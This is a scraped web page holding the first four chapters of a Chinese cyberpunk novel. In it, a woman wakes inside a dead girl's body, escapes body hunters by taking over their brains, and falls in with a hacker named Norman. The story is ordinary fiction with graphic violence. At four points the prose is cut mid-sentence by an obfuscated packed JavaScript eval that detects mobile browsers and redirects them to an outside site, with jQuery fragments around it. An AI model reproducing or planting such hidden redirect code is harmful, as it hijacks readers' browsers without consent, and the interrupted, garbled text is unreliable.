《骇客小姐不卖脑子[赛博]》 1. 雨夜(一) “嗡嗡嗡——” 手机闹铃在枕头边响起。 林真闭着眼睛,皱起眉头。 一周最艰难的时候,莫过于周一早上。身体还陷在周末的疲惫里,而难搞的同事和做不完的项目已经迫不及待地冲进脑海。 林真恍惚间觉得自己坐了起来,下了床,走进卫生间。她看向镜子里的自己。 镜子里一片漆黑。 是做梦啊。她有些无奈,真是睡糊涂了,昨天晚上不应该闹那么晚的。但毕竟一年只有一次生日。说起来,她昨天许了个什么愿望来着? 闹铃越来越响了,几乎在她耳边炸开,打断了她的回忆。 她猛地睁开眼睛。 她看到一双大睁的眼睛—— 可她的床边没有镜子。 林真的睡意一下子就退去了。她尝试起身,可她连一根手指都动不了,只能盯着镜子。 镜子里,照出一角昏暗模糊的房间。 “叮” 时钟跳过了午夜。 墙壁上,电子日历发出幽蓝色的光芒。一只蝴蝶从月份上飞起来,落在日期上,变成一行备忘录。 ——四月十五,真真,生日蛋糕。 电子日历旁是一扇窗户。百叶窗坏了一片,没法完全合拢。这时候,天上的乌云散开,露出一轮碎了三分之一的圆月。 “嗡嗡”声再次响起,女孩左眼前浮现出一块透明的虚拟屏幕:“您有一个来电。” 可林真看得清楚,女孩的瞳孔已经放大了,她再也不可能接这个电话了。 “滴——” 房间的另一头,大门被打开了,机械履带滚动的声音由远而近,停在她身旁。 紧接着,一道蓝光从上到下扫描过女孩的脸,在耳后停下,收束成一道蓝色的光柱。 一个机械音在她的头顶响起: “林雪,五区编号2000072025,确认死亡。管理机器人R023号,执行回收流程。” 机器人移动了一下,镜子里终于照出了它的样子,有点像超能陆战队里的大白。林真决定就叫它大白了。 大白继续宣布道:“终端注销完毕,开始收集尸体,准备送往回收厂。” 它打开了腹部的空腔,把女孩的尸体抬起来,装了进去。 在盖子合上之前,林真看到了这个房间的全貌。 小单间,没有厨房和灶台,进门走两步就是床。床头,一只毛绒小熊捧着一个红色的塑料爱心,在床边的墙壁上投影出一幅照片。照片里是两个女孩子,一个年长一些,另一个年幼一些。 拍照的时候,阳光一定非常好,照片的左上角晕开了镜头光晕。哪怕是调低了亮度,也能看出她们笑的很开心。 年幼女孩的脸有些熟悉,是镜子里的脸。 林真看着那两张靠在一起的脸,突然感到一阵悲伤。 那悲伤没有道理,却如同风暴席卷而来。在风暴里,一道闪电劈过,林真悚然而惊。 那个年长一些的长卷发姐姐,叫林雪。 一瞬间,无数记忆碎片被这个名字拉动了。 ——姐姐今天去农场辛苦啦。 ——林雪,我要生气了! ——姐,我今年要吃蛋糕! 最后,那些快乐的生气的碎片都归于悲伤。恍惚中,林真看到那个长卷发的女子向她俯下身来,用食指小心地抹去她脸上的泪水。她闻到对方头发上薰衣草的气息,听到熟悉的温柔声音:“真真,别哭了,小花猫哦。” 触觉,触觉,嗅觉,听觉,感情,一同构成了人类的记忆。 可那不是她的记忆,那是汹涌而来的大海,而她是浮冰上的人。 她没有姐姐。 她是林真,她也不是林真。 她用力推开那个身影。 大白在电梯口磕绊了一下,履带发出一声脆响。紧接着,林真听到了大雨打在金属上的声音,从四面八方传来。 这可真像是口棺材。 雨声在狭小的空间里回荡。她又突兀地觉得天上下的是羊水,而她是一个母体内的胎儿。 大白不关心下雨,也不关心林真的想法。它平稳地向回收厂行进。 如果被烧了,是不是就能醒来了?如果这样的话,林真希望它走得快一点。 另外,她希望今天大白只有这一单生意。她不是很希望另一具尸体压在自己身上。呸,呸,呸,大吉大利。是压在这具身体上,和她林真没有半毛钱关系。 “嗡——” 突然,她听到了一声尖锐的嗡鸣,然后是一阵鞭炮声。 紧接着,她所在的空间整个倾倒。一只金属巨手撕开机器人的腹部,拉着她的脖子,把她拖拽到地面上。 那手的主人蹲着,几乎是一个小山一样的巨人,正兴奋地冲旁边喊:“大哥,找到了!” 大白的头落在旁边的地面上,双眼闪着红色的光,“损害联邦财产,将被处以重刑……警告,警告……” “砰”,又是一声枪响,机器头颅中间出现了一个焦黑的大洞,警告声戛然而止。 开枪的人从旁边的屋檐下走出来,他有着两只机械义眼,嘴里叼着烟卷。他摘下烟卷,在自家兄弟的金属脑门上按灭,然后抓起林真的头发,胡乱抹开她脸上的碎发和雨水。 他的义眼里红光闪动。 “是她。” 弟弟大松了一口气:“真的高级货啊?我还没见过E级别以上的脑子呢。” “上面的我都没见过,你这是在想屁吃。” 那大哥松开手,拍了拍手心里的雨水。 “就算是常七爷,也有看走眼的时候……”他压低声音,嘶哑地笑起来,“别摔了,到时候除了脑子,其他地方也……十八岁,真他妈的好。” 林真被捧着往前走。 远处,霓虹灯照亮了大片的夜空。全息投影的金龙和彩凤追逐着一颗金丹,在雨中直冲而上。金丹豁然炸开,变成一朵巨大的金色烟花。烟花落下变成海浪,向四周席卷,照亮了密密麻麻蜂窝一般的楼房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904322|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哥,我们要卖给谁啊?还是给常七爷吗?”金属脑门瓮声瓮气地问。 “蠢货,我们这次要避着常七爷。” “为啥啊?” “我偷了你的枪,然后卖给你,你买吗?” 金属脑门想了半天,“买的。” “蠢货,你应该把我打死,然后把枪抢回去。” “哦。” “重复一遍。” “打死,把枪抢回去。把枪抢回去,打死……哥,先抢枪,还是先打死?” 前面的男子很明显不想说话了。 林真也有点想笑,但是一想到,他们要把这具身体拆了卖了,她就笑不出来了。 法外狂徒,像是新闻里说的金三角。 她觉得这个梦做得差不多了,应该是昨天熬夜刷小红书的报应。 ——给你一篇CNS顶刊,但是要把你老板送到金三角去。 她一键三连,评论: 好处说完了,请问报酬呢? 阿弥陀佛,赛博报应也是报应。 但是打工人真的要迟到了。 她仍旧动不了一根手指,更没有办法拧自己一下。 金属脑门明显不会抱人,现在她的脑袋是悬空仰着的。 远处的霓虹灯越来越亮,越来越近。投影的龙凤已经消失了,换成了妖妖娆娆的美人,男女都有,扮作敦煌壁画的模样,纤腰赤足,一步步跃上屋顶,向着月亮飞去。 她紧紧盯着夜空里,那个破碎的月亮。 让我回去。她默念。回去,回到有完整月亮的那个世界。 金属脑门又在说话了:“大哥,我们把眼睛留下来,给你换一对,好不好?……你要是不说话,那我现在先挖了?” 他掂了一下手里的尸体,让巴掌大的脸靠在自己的手臂上,露出那明显是优秀品质的眼睛。 金属手掌抬起,手指的尖端探出五根合金刺,就要向林真的眼睛插来。 一滴雨水打在合金刺上,瞬间一分为二。 林真悚然而惊! 登出登出登出—— 退出登陆退出登陆—— 救命啊,SOS,apparition(幻影移形),escape! E-S-C-A-P-E 这个单词如同一个魔法指令,时间被一瞬间拉长,分成两半的雨滴停在她眼前。 在那半球形的水滴里,映照着倒悬的飞天。飞天的乌发里,黑色瞬间晕染开来,吞噬了林真的眼前的一切。 在这漆黑无光的空间里,林真看到两团光球。她面前的一团是紫黑色的,像是泥浆怪。 她下意识地伸出手,触碰那团紫黑色的光影。 下一秒,她睁开了眼睛。 她看见臂弯里的少女,锋利的合金刺已经碰到了她的眉心,一滴红色的血珠冒出来。 她赶紧停下手上的动作,握起拳头。合金刺撞在一起,发出“噌”的一声。 她竟然变成了金属脑门! 2. 雨夜(二) 林真操控着金属脑门,收起指尖的合金刺,双手轻轻拢住女孩的身体,让女孩的脑袋靠在臂弯里。 道路两侧,蜂房一样的楼房变成了低矮杂乱的棚户。路灯一闪一闪,杆子两侧挂着全息投影广告,用高饱和的色彩写着“希望之星”。 左侧,一个巷子口出现,林真脚步一错。这是她的机会。 她操纵着这个身体,就要开始狂奔。 可一步迈出,她却感到一股巨大的阻力,就像她正徒手拉着一辆大车。她感到鼻子一酸,大脑传来一阵撕裂般的痛楚,一个晃神直接跪倒在地。 女孩的身体从她手里落在碎石地上。 下一个瞬间,她已经回到了女孩的身体里。 “你怎么回事?”金属脑门的大哥停下脚步,大声喝问。 金属脑门用力抽了两下鼻子,止住了鼻血,露出一个憨厚的笑:“哥,我好像走着走着睡着了,脑瓜子疼,又给我疼醒了。” “怎么没疼死你个蠢货呢?跟上!” 黑暗里,林真的手指轻轻动了动,摸到地面上粗粝的碎石。她用力压下手指,用刺痛帮助自己集中注意力。 ESCAPE。她默念。黑色的意识世界展开。 这一次,她看到了那个大哥的大脑。那是一团蓝色的光线,正高频率闪烁着。 她伸出手去,没入蓝色的光团。 一股刺鼻的味道扑面而来,如果要形容的话,就像是百洁布在水槽里湿了又干,然后用来盖住她的口鼻。那些细小的固体粉末随着呼吸填满了她的肺部,将她的意识往下拉…… 未知的恐惧抓住了她,这个脑子里,有什么是她不能碰的。一瞬间,她的意识里只剩下了一个字: 逃。 她再次回到原来的身体,头昏昏沉沉的。 金属脑门用一件披风挡住了她。她现在什么都看不见,只能凭感觉知道,他们还在向前走。 在披风下,她小心地动了动手指。 手指触碰到披风粗糙的布料,雨水渗进指尖的伤口,伤口隐隐作疼。 这真实得几乎叫她惊恐了。 她再一次凝聚注意力。 ESCAPE。 黑色的世界再次展开,却已经是破破烂烂,摇摇欲坠。 这黑色的世界崩塌之前,她还有最后一次机会。 两个光团,对应两个脑子,只要触碰就有机会掌控对方。 来个正常人的脑子吧。林真想,帮忙报个警就好。 他们正经过一个十字街口。 在左边的巷子深处,林真看到了一团嫩绿色的光线,像是一颗春天的树。 她抱着无比感激的心情,纵身一跃,投入树冠里。 “救命!”她大喊。 树先生发出了冷冰冰的男中音:“滚。” 同一时间,林真的周围,无数红色的防火墙和对话框亮起 ——禁止入侵 ——禁止覆写 ——权限锁定 它们甩出红色的锁链,缠住林真的手脚。 林真深吸一口气:“等一下,他们要卖我的脑子和身体!请帮帮我!” “你的身体?”对方语气玩味:“你的战利品吧?大脑骇客?” 谁? 骇客? “不,我不是!我就一打工的。” “自辩的时候把手里的刀放一下。在别人脑子里说自己不是大脑骇客,呵。”树先生冷漠道:“死吧。” “不是哎,你这男的怎么见死不救呢?” 锁链绞上她的手臂和脖子,带来真实的窒息感。 林真的意识开始昏沉。她一个激灵:“不是,我在做梦,和NPC废什么话?” 她一咬牙,左手抓住脖子上的锁链。同时,被锁链缠绕的右手一寸寸抬起,五指并拢如刀,对准了面前最大的那个红色方框,用力一挥。 给我开! 方框如同多米诺骨牌接连倒下,形成一条方形的通道。 所有缠绕着她的锁链瞬间崩碎。 林真大步向前奔跑。 前方,绿色逐渐变成金色,像是秋天刚泛黄的树叶。金绿色的光芒像一颗心脏,正在有节奏地跳动。林真一步踏出,没入金色的阳光里。 该醒了吧?太阳都出来了? 林真睁开眼睛,关掉闹铃,麻溜地滚下床。她从床底下拎出第二只拖鞋,冲进卫生间,往牙刷上挤了点牙膏,一边看着镜子一边刷牙。 通宵的下场,眼睛果然通红。 昨天许了什么愿望来着?她吐掉嘴里的泡沫,突然想起来了。 她想要一个不用不要上学,不用工作,更不用卷的世界。 好友靠在沙发上,笑着往她的鼻子上抹了一点奶油:“想什么呢?不上班你吃什么?不是说好包养我的吗?” 林真耸了耸肩:“说不定明天世界就变了,大家每天出门卖两个小时脑子,就够吃饭了。” “谁买你哦?” “哇哦,我这可是原生神经网络,反复训练了二十多年,丧尸来了都舍不得吃好伐?” “丧尸不吃,那是因为人家丧尸知道这里头啥都没有。所以你到底要卖什么?” ”算力啊,算力!你想哦,超大型人脑工厂,以后大家往那儿排排一坐,想算什么算什么,上算天文,下开挖机——哎哟,我可真牛逼。” 好友“喀”地又开了一瓶苹果酒,朝她举瓶,“挂路灯吧,没救了,谁上班不是卖脑子啊,你还资本家上了——大脑农场,哈哈我可去你的吧。” 大脑农场。林真的思绪突然凝固了,这个词像是八音盒的开关。 ——姐姐,今天去大脑农场辛苦了,喝水。 ——姐姐,我明年也去大脑农场,这样你就可以休息一下了。 ——姐姐,欢迎回家。 ——姐姐,林雪姐姐 面前的镜子像水波一样晃动。镜子里,一个陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904323|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的女孩看着她。 林真抬起手,小心地按上镜子。 镜子里的女孩也抬起手。 她们手指相触。 “你是谁?”她发问。 你是谁。镜子里的女孩嘴唇微动。 “我是林真。”她说。 可镜子中的女孩也这么说。 “林真,今天把衣服洗了,这么潮,要发霉了。”卫生间外面,林雪在喊她,“晚上回来给你过生日。” “林真,我先回去了,明天好好上班啊,生日快乐。”朋友在玄关单脚站着穿鞋,抬起头冲她微笑。 不,林真没有朋友。 不,林真没有姐姐。 这是假的。 都是假的! 她们指尖相触的地方,镜子突然炸开放射状的裂缝。 “嗯?” 林真听到树先生惊讶的声音。 卫生间的墙壁变成大块的镜子,然后碎成千万片,片片剥落。 金色的光芒照进来。 离她一步远的地方,一颗金绿色的星星在呼吸着。 她向前伸出手。 “停下!”树先生的声音第一次失去了冷静,“你要是敢碰,我现在就打烂你的身体。你看着!” 随着树先生的视线,林真看到,手枪的准星正紧紧套着金属脑门手里的披风。 披风下,是女孩的尸体。 树先生的手很稳,看起来不是唬人的。 “那我们做个交易。”林真说,“你救我,我不动你。” 树先生咬牙切齿,“你要怎么救?” “帮我报警吧。” 树先生:…… 树先生:“五区没有警察,你哪个区来的?” 林真:……不好意思,打扰了。 树先生沉默片刻,问道:“那两个什么身份?” 不认识啊,他们叫着能卖钱就冲上来了。林真苦中作乐地想,正要说“没有”,突然停下了。 那一紫一蓝两个光团并非什么都没有给她。金属脑门叫张四,他哥哥叫张三。 “张三,编号2000100069,E级。张四,编号2000147474,F级。” 林真看到信息流在金色的空间里快速流过。紧接着,树先生开口了:“常老七手下的,最低级的雇佣尸体猎人。” “常老七,常七爷吗?”林真回忆道:“他们好像在背着常七爷做事。” “那就好办了。” 树先生的手在脸上抹了一把,又按了按喉咙。 下一秒,一个御姐音咳了一声。 林真愣了一下,一时分不清哪个是对方真正的声音。她赶紧开口道歉:“不好意思,我不知道你也是女孩子!” 意识空间顶上出现一排大字:老子是男的。 与此同时,一颗子弹带着树先生的怒气向着金属脑门飞去,“铛”地一声打在对方的额角,生生撬开一片合金护甲。 3. 雨夜(三) 尸体猎人张三盯着巷子里的黑暗,暗红色的瞳孔不断放大缩小,各种视觉来回切换。 “什么人!敢打劫常七爷的生意?”他扬声问到。 林真跟着树先生走出巷子。她听到树先生用着伪装的女声,笑着说道,“七爷的生意,我怎么不知道呢?” 听到这个声音,张三的瞳孔“唰”地一下就收紧了,他站到金属脑门身前,死死盯着来人。 来人穿着常见的黑色兜帽雨衣,两根手指缓缓挑起帽檐,露出孔雀绿的荧光眼妆。右眼眶里,三颗猩红色的机械眼球正滴溜溜地打转。 “绿曼巴。”张三从嗓子里压出一个名字。 “知道我啊。” “您说笑了,常七爷的左膀右臂,有幸曾经见过您一次。” “见过呀,那就好办了。”树先生笑着说。他似乎伪装成了一个让人畏惧的女人。 在他的笑声里,张三的喉咙咯咯作响。 树先生终于笑完了,右手的枪“唰”地抬起,直指张三的眉心,“背着七爷偷偷干事?” “我们没有,没有藏人。”金属脑门战战兢兢地说,一边死死捂着手里的披风。他站在张三身后,靠着墙,看起来很想把自己藏进墙里去。 一发子弹直冲披风而去。 “你做什么?”意识空间里,林真惊呼。 金属脑门慌忙躲闪,披风掉落在地,露出女孩苍白的面容。 眼见事情败露了,张三把手里的枪放在地上,顺势跪下,举起双手:“我们不知道是七爷的东西,碰巧捡到了,正打算去献给七爷。” “哦?那我考虑一下。” 可绿曼巴绝不会考虑。张三清楚地记得,上一次她这么说完,血水就流过了半个黑街。 黑街的龙头是常七爷,绿曼巴是他的心腹。这个女人的名声,是用鲜血和无数尸体堆起来的。 张三咽了一口唾沫,仰望着巷子里的人:“绿曼巴,我知道您出手必见血。人我们放下,您让我兄弟走,行不行?我们欠您一个人情。” “让他们走。”林真也说道。 可树先生冷冷开口:“人放下,然后把命留在这里,就算是赔罪了。” “绿曼巴!如果您今天非要留下我哥俩的命,我就捏爆她的脑袋。张四!” 金属巨手落在了女孩的额头上。 “哦?你们凭什么和我讨价还价?” “就凭七爷一定很看重这个脑子,您知道的,五月快到了。” 树先生又笑了。笑声未停,枪火已亮。 等笑声停下,对面已是一死一伤。 意识空间里,林真已经僵住了。 她看到枪口举起,火光炸开。 她听到张三回头大喊:“四儿!” 一束烟花在天上炸开,照亮墙上的一大片血迹。 雨水冲刷血迹,在墙角形成一条血色的河流。 假的吧? 树先生走到张三面前,手里的枪指着对方的脑子。 张三捂着自己的脖子,捡起了地上的枪。他来不及起身,俯卧在地上,枪口顶着女孩的脑袋,“让我走,不然我就打烂这个脑子!” “高级的!”他大喊,“这可是高级的!” “那你开枪啊。我无所谓的。”树先生说道。 张三和树先生的手指同时扣上扳机。 树先生的意识里,林真猛地抬手,握住了那颗金绿色的星星。她的手和星星融化在一起,她的意志变成无数丝线,进入这具身体的四肢百骸。 下一瞬间,她操控着树先生,松开了扳机上的手指。 手枪垂下,女人的声音响起,“滚。” “绿曼巴?”张三猩红的眼睛死死地盯着她,瞳孔剧烈放大收缩,似乎想透过帽檐的遮挡看清仇人的脸。 “我说了,滚。” “谢绿曼巴成全。”张三低下头,原地磕了一个头,踉跄起身,拖起金属脑门的一只手,像纤夫拉船一样,弯着腰向巷子的另一头走去。 林真紧紧抓住手里的武器。 “你在做什么?”意识里,树先生厉声喝问。同一时间,红色的警告框如同海啸,层层叠叠,铺天盖地,“给我滚出去!” 林真一只手抓着金色的星星,另一只手抬起,五指张开,然后猛然握紧。 所有警告框同时炸裂。 树先生闷哼了一声。 “怎么,等你杀完了人,然后处理我吗?你根本不在乎他开枪,你就是想杀我,对吗?” “怎么,可惜你好不容易找到的身体了?”树先生嘲讽道,“你不是要我救你吗?我送你回原来的身体里啊,你们这些大脑强盗……” “第一,我不是大脑强盗。第二,人死为大。你想杀我可以,总得让她完完整整地走。你说是不是,诺曼?” 树先生,真名诺曼,发出了一声嘲笑,“什么完完整整?尸体就是第五区的盛宴,你不知道吗?” 林真抬起右手,一巴掌打在脸上。 “你干什么?!”诺曼的声音猛得拔高了。 “我看一下是不是做梦。不太确定,你脸上罩着什么?” 她在脸上摸了摸,揭开一层轻薄的面罩。 更清脆的巴掌声响起。 “你够了没有!”诺曼简直要破音了。 “不好意思,感觉打起来不是很疼,可能你脸皮比较厚。”林真重新扣上了面罩,自言自语道:“这样都不醒,我不会已经死了吧?” “你死没死自己不知道啊!” 林真不再说话。 她仰起脸。雨水落在眼皮上,流进眼睛里,酸涩疼痛。她用力眨了眨眼。月亮已经移到了中天,破损的地方正对着地面,露出银色的金字塔尖顶。 “谁知道呢?”林真轻声说,“我说不定是死了呢。” 她拉低帽檐,从巷子里走出来,在女孩身前双膝跪下。 “生日快乐。”她轻声说,然后右手从女孩的脖子下穿过,揽住肩膀,将女孩从地上扶起来。 只是这一个动作,她就感受到手臂上的肌肉在打颤。在她控制诺曼的每一秒,黑色的意识世界都在地震。现在,意识世界只剩下几根黑色的丝线了。 她在失去对这具身体的控制。 远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904324|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的巷子里,亮起一道车灯,带来狗的吠叫声和人的说话声。 “操控我的脑子很累吧,大脑骇客?你最好现在从我的脑子离开。”诺曼再次开口,“如果你求我,我说不定会带你和你的猎物去安全的地方。” 林真没有理睬他,单膝跪地,举起枪,对准黑洞洞的巷子口。 她的手不是很稳,在大雨里微微打颤。 诺曼急了:“如果你现在离开,我保证带你去安全的地方。你不会想面对那些秃鹫的。” “安全的地方?” “对,我的安全屋。” “地址。” “什么?不可能!” “你不说,我也可以自己看。” 诺曼坚持了十几秒,还是妥协了,毕竟远处的脚步声越来越近了。 来者不善,但敌人的敌人也可以是朋友。林真勾起嘴角,“我现在建议你快跑,如果你不带我,让我落到那些秃鹫手里,那我就只能群发你的地址了。” “我也建议你跑快点,毕竟,要是距离太近,我可能会忍不住。” “你知道的,大脑骇客嘛。” 循着枪声和血腥味来的秃鹫们,被一串子弹逼回了黑暗的小巷子里,只看见一个高挑的背影,踩着月色和血泊快速离去。 林真每隔几分钟去诺曼脑子边缘晃一圈,直到意识世界的最后一根丝线断裂。 她回到了女孩的身体。 这里是一片汪洋。 她站在逐渐融化的海冰上,看着另一个人的十七年化作无数片段,汹涌而来。 浪花溅在她的腿上,流下一点白色的痕迹,盖过她皮肤原本的颜色。 有人轻柔地唱着歌:“睡吧,睡吧,林真。” 林真撕掉那些片段和回忆,死死咬住嘴唇,不让自己失去意识:“听好了,我不是林真。” 安全屋里,诺曼坐在高脚凳上,居高临下俯视着她。 大脑骇客,最擅长入侵别人的大脑,偷取信息和机密。 而最顶级的骇客,配合大脑清洗药剂,可以直接取代另一个人的身份,鸠占鹊巢。 这种操作,也不知道是多少人命喂出来的。 他磨了一下牙,抬起手里的枪,抵在女孩的额头上。 可女孩的脑袋上,什么设备都没有。 诺曼用枪口拨了拨女孩的脑袋,露出左耳后的脑机接口。 他俯下身,一块芯片落入他的手中。 只是一块普普通通的身份芯片,还是已经注销的。 黑客的入侵需要设备,需要链接自己和对方的脑机接口。毕竟,联盟成立这么多年,也没有听谁说谁的意识能在空气里传播的。如果有的话,那群老爷们一定夜不能寐吧。 所以这是个什么东西?诺曼眯起眼睛,盯着面前的人。 突然,女孩的嘴唇动了一下。 诺曼瞬间抬起枪口,却听见她轻声呓语:“我不是林真……我想回家。” “天真。” 诺曼嗤笑一声, “不管你是谁——” “进了别人的脑子,就别再想回去了。” 4. 黑街(一) 林真醒来时,发现自己躺在一个沙发上。外头下着雨,屋子里光线昏暗,分不出是清晨还是黄昏。 她按着僵硬的脖子,刚要坐起身,就听到房间角落传来一个冷硬的声音。 “别动。” 同时,灯光从那个角落亮起,瞬间爬满整个房间。 诺曼从墙角的椅子上站起身。他依旧带着面罩,但只遮住了半张脸。黑色的面罩有着金属的质感,但林真昨天揭开的时候,却轻得像一层布。 她叹出一口气,“需要我举起双手吗?” “随意,但你最好管好你的脑子。” 诺曼在沙发前的高脚凳上坐下,手里握着枪。 他的头发不算短,现在扎在脑后。几缕碎发垂落下来,斜斜地遮住眉骨。黑色的头发和黑色的面罩之间,露出一段苍白的皮肤,和一双黑色的眼睛。双眼皮,眼尾上翘,自带眼线,是在任何一张脸上都不会逊色的眼睛。 果然戴口罩出美人。 林真欣赏了一秒,遵从本心调侃道:“卿本佳人,奈何从贼啊。” 佳人不耐烦地用枪口指着她的眉心:“闭嘴,不然杀了你。” 林真抬起手,扣在枪口上。 “你之前没有杀我,我不认为你现在会杀了我。我先声明,昨天是为了活命,我对你的脑子没有任何兴趣。另外,我不想当男的,更不想当被追杀到在自己家里也要带面罩的男的。” 诺曼哼了一声,似乎是被说服了,放下了枪。 然而下一秒,枪口再次抵住了林真太阳穴。 诺曼露出的双眼微微眯起:“你错了,这里是黑街,杀或者不杀,都在我一念之间。你这么说,只能说明你不了解黑街。” “不。我这么说,是在提醒你,你之前为什么没有杀我。至少一个晚上过去了,八个小时,四百八十分钟,诺曼,是什么阻止了你杀我?” 空气沉默了一瞬。 “或者这么问,我身上有什么是你需要的?” 面具后,诺曼似乎笑了一声。他收起了枪,但他也不急着揭开谜底。 “不说就算了。”林真从沙发上站起身,放松了一下肩膀和手臂:“这里就是黑街?我听说这里非常危险,每天都在死人。” 黑街是五区的居民嘴里绝对不能靠近的地方。如果有人消失了,其他人肯定会说:一定是给黑街抓走了。 说这话的时候,他们压低了声音,眼睛往四周乱瞟,似乎黑街就藏在任何一个垃圾桶后面、任何一个街角的阴影里,随时都可能举着枪拿着刀跳出来。 “来都来了,你可以自己看。”诺曼指了指窗户。 诺曼的公寓在五楼。从窗户看出去,这里的街道逼仄,楼房局促。底层看起来像是一水儿的商铺,二层以上就是蜂巢样的住宅。 斜对面的商铺挂着霓虹灯牌,亮粉和荧光绿纠缠成看不清的英文字母,边上是一个酒杯形状的招牌。招牌下挂着几串大红色的灯笼。在雨里还能不熄灭,应该点的是电子蜡烛。 灯笼的红光下,瘫倒着一条黑影,也许是一个宿醉未醒的人,或者无家可归的流浪汉。 “丁零零——” 有自行车铃声响起,林真抬眼望去。一个人从狭小的巷子里骑车而来。那自行车两侧,鼓鼓囊囊的,像是邮递员的大包。 在屋檐下避雨的人听见响动,撑着墙壁坐起来,似乎想要起身避让。 可下一秒,骑车人抽出一把长刀。 长刀一挑,那醉汉的手臂就到了骑车人的怀里。 骑车人手一甩,“哐当”一声,银色的金属手臂落进自行车左侧的大包里。 恰好灯笼被风吹动,灯光一闪,照亮了大包里的情景—— 那里头,插着两三把长短不一的长刀,塞满了还带着血肉的金属肢体。 林真甚至看到了一截带着牙齿的金属下颚,拖着苍白的舌头。 自行车的后面,是两条长长的血路。 林真捂住嘴,倒退一步,离开窗台。 “大清早扫街的,怎么,没见过?”诺曼戏谑道。 林真的嗓子眼里一阵阵犯恶心:“我们那儿……扫街……就是清扫大街。” “没有外快,谁没事清扫大街啊。”诺曼递给她一瓶水。瓶子很薄,塑料软得一捏就瘪。 林真这才意识到自己的嗓子干疼。她旋开盖子,正要喝,手却停住了。没有“咔”的一声,这是一瓶已经开过的水。而看瓶子上的磨损痕迹,可能已经用了很多次。 她以前贪图方便,在车里留了一瓶水,需要的时候喝一口。两周过去,就是这个样子。也不用说隔夜的水不能喝,留学生能活就行。但就算是留学生,也不应该喝来路不明的饮料。 她吞了一口唾沫,撇了撇嘴角,默默旋紧了瓶盖。 “怎么,不难受了?”诺曼似笑非笑地看着她。 林真点点头。 外面的醉汉已经醒了,发出一声惨烈的嚎叫。 诺曼听了一下,“肺肯定改造过了,那小子是新手,看走眼了。” 林真的手一紧。塑料瓶发出变形的声音。 “欢迎来到黑街。”诺曼盯着她的脸色,“或者说,欢迎来到五区,骇客小姐。你是四区的人?还是三区的?” “我是五区的人。” “呵,你要是五区的人,老子还是二区的傻逼贵族老爷呢!”他扫了林真一眼,“听到嘲讽没有反应,你也不是二区的。” “我是五区的。” 诺曼的语气变冷,“五区的人看到血不会捂嘴,也不会嫌弃任何能喝的水,一瓶水五个信用点呢。别皱眉,我能分析你的表情——不是警惕,是嫌弃。啧,骇客小姐,你以前的日子过得太好了吧?” 他的眼神一沉:“你到底是谁,来五区做什么?” 外头,惨号持续了一会,已经消失了。 雨声打在铁皮板上,”咚咚“声连成一片,如同她的心跳,越来越快。 林真站起身,“非常感谢你昨天救了我,如果你没有其他要求的话,我要离开这里,回居民区去。” 诺曼出乎意料地让开了路,“请便。门在那里,希望你知道怎么开五区的门。” 林真绕过茶几和墙边的杂物箱,走到门前,握上门把手。她浑身的肌肉紧绷。她要回到居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904325|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民区去,那里有安保和巡逻,是原主十七年的记忆里最安全的地方。可如果诺曼提要求…… 果然,诺曼又开口了:“等一下。” 林真盯着门板:“如果你要报酬,我会想办法给你的。” 诺曼走近前来,从杂物箱顶部拎起一只头盔,“戴上,如果你不幸被打成筛子的话,我还能收回一个完整的脑子。能被你看上,这个脑子应该很不错。” 他的眼睛黑亮,眼神里却没有一丝温度:“成交吗?” 林真抿了抿嘴,“你这样吓不倒我。” ”那真是太可惜了。你不怕遇上扫街的吗?” “难道等街道上人多了,我离开的机会就会变大吗?至少扫街的,只有一个人。”林真接过诺曼手里的头盔,“谢了。” 楼道里没有灯,因为地方窄小,也没有开窗的余裕。 林真适应了一下昏暗的光线,抱着头盔,慢慢走下去。墙壁上嵌着两条荧蓝色的灯光条,沿着楼梯蜿蜒而下,勉强提供照明。越往下走,血腥味越重。 她推开一楼的金属大门,停下脚步。然后缓慢地吸气,呼气,再吸气,直到大脑完全适应这股味道。 这就是黑街。 